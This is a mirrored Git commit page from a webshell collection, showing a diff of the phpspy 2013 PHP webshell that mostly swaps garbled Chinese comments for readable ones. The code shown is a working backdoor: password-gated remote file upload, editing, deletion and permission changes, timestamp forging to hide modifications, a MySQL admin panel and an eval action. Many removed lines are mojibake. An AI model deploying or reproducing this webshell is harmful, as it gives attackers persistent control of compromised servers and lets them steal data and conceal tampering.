PenTest/webshell
1
0
Fork 0
mirror of https://github.com/tennc/webshell.git synced 2025-12-07 13:21:28 +00:00
Code Issues Projects Releases Wiki Activity

update jsp

Browse Source
This commit is contained in:
tennc
2013-06-27 08:10:52 +08:00
parent 0b16c9f65f
commit 7fd6ddd078
10 changed files with 5544 additions and 39 deletions
Download Patch File Download Diff File Expand all files Collapse all files

78
php/phpspy/2013未加密.php
View File

@@ -23,24 +23,24 @@ if( IS_GPC ) {
}
$P = $_POST;
unset($_POST);
/*===================== <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> =====================*/
/*===================== 程序配置 =====================*/
//echo encode_pass('angel');exit;
//angel = ec38fe2a8497e0a8d6d349b3533038cb
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֤,<2C><><EFBFBD>޸ĵ<DEB8>½<EFBFBD><C2BD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>֤
// 如果需要密码验证,请修改登陆密码,留空为不需要验证
$pass = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> cookie <EFBFBD><EFBFBD><EFBFBD>÷<EFBFBD>Χ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD>޸<EFBFBD><DEB8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD>뱣<EFBFBD><EBB1A3>Ĭ<EFBFBD><C4AC>
// cookie ǰ׺
//如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
// cookie 前缀
$cookiepre = '';
// cookie <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// cookie 作用域
$cookiedomain = '';
// cookie <EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><EFBFBD>
// cookie 作用路径
$cookiepath = '/';
// cookie <EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD>
// cookie 有效期
$cookielife = 86400;
/*===================== <EFBFBD><EFBFBD><EFBFBD>ý<EFBFBD><EFBFBD><EFBFBD> =====================*/
/*===================== 配置结束 =====================*/
$charsetdb = array(
'big5' => 'big5',
@@ -69,7 +69,7 @@ if (isset($charsetdb[$charset])) {
$timestamp = time();
/* <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֤ */
/* 身份验证 */
if ($act == "logout") {
scookie('loginpass', '', -86400 * 365);
@header('Location: '.SELF);
@@ -91,14 +91,14 @@ if($pass) {
loginpage();
}
}
/* <EFBFBD><EFBFBD>֤<EFBFBD><EFBFBD><EFBFBD><EFBFBD> */
/* 验证结束 */
$errmsg = '';
$uchar = '&#9650;';
$dchar = '&#9660;';
!$act && $act = 'file';
//<EFBFBD><EFBFBD>ǰĿ¼/<2F><><EFBFBD>ù<EFBFBD><C3B9><EFBFBD>Ŀ¼/<2F><>վ<EFBFBD><D5BE>Ŀ¼
//当前目录/设置工作目录/网站根目录
$home_cwd = getcwd();
if (isset($P['cwd']) && $P['cwd']) {
chdir($P['cwd']);
@@ -116,7 +116,7 @@ foreach (array('web_cwd','cwd','home_cwd') as $k) {
}
}
// <EFBFBD>鿴PHPINFO
// 查看PHPINFO
if ($act == 'phpinfo') {
if (IS_PHPINFO) {
phpinfo();
@@ -318,49 +318,49 @@ $errmsg && m($errmsg);
if ($act == 'file') {
// <EFBFBD>жϵ<EFBFBD>ǰĿ¼<EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 判断当前目录可写情况
$dir_writeable = @is_writable($cwd) ? 'Writable' : 'Non-writable';
if (isset($p1)) {
switch($p1) {
case 'createdir':
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
// 创建目录
if ($p2) {
m('Directory created '.(@mkdir($cwd.$p2,0777) ? 'success' : 'failed'));
}
break;
case 'uploadFile':
// <EFBFBD>ϴ<EFBFBD><EFBFBD>ļ<EFBFBD>
// 上传文件
m('File upload '.(@move_uploaded_file($_FILES['uploadfile']['tmp_name'], $cwd.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
break;
case 'fileperm':
// <EFBFBD>༭<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 编辑文件属性
if ($p2 && $p3) {
$p3 = base_convert($p3, 8, 10);
m('Set file permissions '.(@chmod($p2, $p3) ? 'success' : 'failed'));
}
break;
case 'rename':
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 改名
if ($p2 && $p3) {
m($p3.' renamed '.$p2.(@rename($p3, $p2) ? ' success' : ' failed'));
}
break;
case 'clonetime':
// <EFBFBD><EFBFBD>¡ʱ<EFBFBD><EFBFBD>
// 克隆时间
if ($p2 && $p3) {
$time = @filemtime($p3);
m('Set file last modified '.(@touch($p2,$time,$time) ? 'success' : 'failed'));
}
break;
case 'settime':
// <EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD>
// 自定义时间
if ($p2 && $p3) {
$time = strtotime($p3);
m('Set file last modified '.(@touch($p2,$time,$time) ? 'success' : 'failed'));
}
break;
case 'delete':
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɾ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
// 批量删除文件
if ($P['dl']) {
$succ = $fail = 0;
foreach ($P['dl'] as $f) {
@@ -410,7 +410,7 @@ if ($act == 'file') {
}
echo "<script type=\"text/javascript\">$('opform').p1.value='';$('opform').p2.value='';</script>";
}
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//操作完毕
$free = @disk_free_space($cwd);
!$free && $free = 0;
$all = @disk_total_space($cwd);
@@ -511,14 +511,14 @@ function shownav(e){
p('<td width="22%">Action</td>');
p('</tr>');
//<EFBFBD>鿴<EFBFBD><EFBFBD><EFBFBD>п<EFBFBD>д<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>Ŀ¼
//查看所有可写文件和目录
$dirdata=$filedata=array();
if ($p4 == 'dir') {
$dirdata = GetWDirList($cwd);
$filedata = array();
} else {
// Ĭ<EFBFBD><EFBFBD>Ŀ¼<EFBFBD>б<EFBFBD>
// 默认目录列表
$dirs = @scandir($cwd);
if ($dirs) {
$dirs = array_diff($dirs, array('.'));
@@ -673,17 +673,17 @@ elseif ($act == 'mysqladmin') {
if ($dbhost && $dbuser && isset($dbpass)) {
// <EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><EFBFBD><EFBFBD>
// 初始化数据库类
$DB = new DB_MySQL;
$DB->charsetdb = $charsetdb;
$DB->charset = $charset;
$DB->connect($dbhost, $dbuser, $dbpass, $dbname);
//<EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><EFBFBD><EFBFBD>Ϣ
//获取数据库信息
p('<p class="red">MySQL '.$DB->version().' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
$highver = $DB->version() > '4.1' ? 1 : 0;
//<EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>
//获取数据库
$query = $DB->query("SHOW DATABASES");
$dbs = array();
$dbs[] = '-- Select a database --';
@@ -736,7 +736,7 @@ elseif ($act == 'mysqladmin') {
while($mn = $DB->fetch($result)){
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
//<EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD>
//读取记录用
foreach($mn as $key=>$inside){
p('<td nowrap>'.(($inside == null) ? '<i>null</i>' : html_clean($inside)).'</td>');
}
@@ -925,7 +925,7 @@ elseif ($act == 'eval') {
elseif ($act == 'editfile') {
// <EFBFBD>༭<EFBFBD>ļ<EFBFBD>
// 编辑文件
if ($p1 == 'edit' && $p2 && $p3) {
$fp = @fopen($p2,'w');
m('Save file '.(@fwrite($fp,$p3) ? 'success' : 'failed'));
@@ -1094,7 +1094,7 @@ else {
<?php
/*======================================================
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
函数库
======================================================*/
function secparam($n, $v) {
@@ -1182,7 +1182,7 @@ function dirsize($cwd) {
@closedir($dh);
return $size;
}
// ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
// 页面调试信息
function debuginfo() {
global $starttime;
$mtime = explode(' ', microtime());
@@ -1190,7 +1190,7 @@ function debuginfo() {
echo 'Processed in '.$totaltime.' second(s)';
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>HTML<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 清除HTML代码
function html_clean($content) {
$content = htmlspecialchars($content);
$content = str_replace("\n", "<br />", $content);
@@ -1199,7 +1199,7 @@ function html_clean($content) {
return $content;
}
// <EFBFBD><EFBFBD>ȡȨ<EFBFBD><EFBFBD>
// 获取权限
function getChmod($file){
return substr(base_convert(@fileperms($file),10,8),-4);
}
@@ -1265,7 +1265,7 @@ function copy_paste($c,$f,$d){
copy($c.$f, $d.$f);
}
}
// ɾ<EFBFBD><EFBFBD>Ŀ¼
// 删除目录
function deltree($deldir) {
$dirs = @scandir($deldir);
if ($dirs) {
@@ -1286,7 +1286,7 @@ function deltree($deldir) {
}
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>м<EFBFBD><EFBFBD>ı<EFBFBD><EFBFBD><EFBFBD>ɫ<EFBFBD>滻
// 表格行间的背景色替换
function bg() {
global $bgc;
return ($bgc++%2==0) ? 'alt1' : 'alt2';
@@ -1301,7 +1301,7 @@ function cmp($a, $b) {
}
}
// <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>ǰĿ¼<EFBFBD><EFBFBD><EFBFBD>ϼ<EFBFBD>Ŀ¼
// 获取当前目录的上级目录
function getUpPath($cwd) {
$pathdb = explode('/', $cwd);
$num = count($pathdb);
@@ -1313,7 +1313,7 @@ function getUpPath($cwd) {
return $uppath;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>PHP<EFBFBD><EFBFBD><EFBFBD>ò<EFBFBD><EFBFBD><EFBFBD>
// 检查PHP配置参数
function getcfg($varname) {
$result = get_cfg_var($varname);
if ($result == 0) {
@@ -1325,7 +1325,7 @@ function getcfg($varname) {
}
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>չ<EFBFBD><EFBFBD>
// 获得文件扩展名
function getext($file) {
$info = pathinfo($file);
return $info['extension'];
@@ -1436,7 +1436,7 @@ function encode_pass($pass) {
$pass = md5($k.$pass);
$pass = md5($pass.$k);
$pass = md5($k.$pass.$k);
return $pass;
echo $pass;
}
function pr($a) {
@@ -1546,7 +1546,7 @@ class DB_MySQL {
$s = str_replace('\'', '\'\'', $s);
return $s;
}
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD>
// 备份数据库
function sqldump($table, $fp=0) {
$crlf = (IS_WIN ? "\r\n" : "\n");
$search = array("\x00", "\x0a", "\x0d", "\x1a"); //\x08\\x09, not required